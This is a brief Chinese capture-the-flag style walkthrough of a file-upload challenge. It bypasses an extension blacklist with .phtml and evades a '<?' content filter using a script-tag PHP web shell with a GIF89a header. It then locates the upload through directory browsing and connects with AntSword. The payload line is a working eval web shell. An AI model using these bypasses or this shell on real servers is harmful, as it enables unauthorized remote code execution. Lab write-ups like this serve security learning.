考点:
- 文件上传黑名单绕过
- 内容绕过
- 目录浏览
文件上传
1. 测试是黑名单还是白名单
上传图片1.png成功,上传1.php失败,1.pngs成功,说明是黑名单过滤。
所以要寻找黑名单外的php文件:php, php3, php5, php7, phtml都能作为php文件解析
ps:有些服务器默认不解析php3 phhtml等,如phpstudy2018中,需要设置
.phtml能成功上传
2. 判断是否对内容进行过滤
发现过滤 <?,而普通的php 木马都会携带<?,我们可以使用js+php进行bypass,这样在shell中就不会携带<?
<script language='php'>@eval($_POST['cmd']);</script>
再次提交,提示不是一张图片
加个gif文件头
GIF89a <script language='php'>@eval($_POST['cmd']);</script>
成功上传
3. 寻找上传的文件位置
页面只提示了上传文件名,未能发现上传的路径
所以尝试是否存在目录浏览,经测试发现/upload目录可以浏览
找到上传的文件使用蚁剑连接